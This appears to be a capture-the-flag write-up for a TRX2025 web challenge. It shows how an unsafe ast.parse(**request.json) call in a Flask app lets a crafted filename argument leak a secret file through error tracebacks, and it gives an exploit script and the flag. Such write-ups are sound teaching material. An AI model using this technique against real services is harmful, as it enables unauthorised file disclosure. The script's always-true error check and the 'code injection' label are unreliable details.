Introduction#

This is the first web in the TRX2025 CTF. And it’s basically a simple online Python editor with a syntax checker.

Source#

Go to the source code and we can immediately see two things:

1. In a file called secret.py, which is never called, read or otherwise used.

2. The main app.py file

1
import ast
2
import traceback
3
from flask import Flask, render_template, request
4

5
app = Flask(__name__)
6

7
@app.get("/")
8
def home():
9
    return render_template("index.html")
10

11
@app.post("/check")
12
def check():
13
    try:
14
        ast.parse(**request.json)
15
        return {"status": True, "error": None}
16
    except Exception:
17
        return {"status": False, "error": traceback.format_exc()}
18

19
if __name__ == '__main__':
20
    app.run(debug=True)

What happens is that the template is rendered and every N seconds the check method is called, which parses the Python code sent by the client and returns the traceback, which is very useful for us later.

Solution#

Where’s the vuln? Well, it’s quite simple here: ast.parse(**request.json), The call to ast.parse is vulnerable to Python code injection, in fact we can pass arbitrary parameters to the function (because of the **request.json), and if we look at the documentation for ast.parse we know that we can pass a filename to the function, and ast.parse uses something like compile(source, filename, mode, PyCF_ONLY_AST), which allows us to leak sensitive information causing syntax errors in specific lines of code.

So finally we get

1
#!/usr/bin/python3
2
import requests
3

4
BASE_URL = "http://python.ctf.theromanxpl0.it:7001/"
5

6
def check():
7
    r = requests.post(BASE_URL + "/check", json={"source": "\n\n\n\n\n;","filename":"./secret.py", })
8
    if 'error' != None:
9
        print(r.json()['error'])
10
    else:
11
        print(r.json())
12

13
def main():
14
    check()
15

16

17
if __name__ == "__main__":
18
  main()
19

20

21
# goodluck by @akiidjk

flag: TRX{4ll_y0u_h4v3_t0_d0_1s_l00k_4t_th3_s0urc3_c0d3}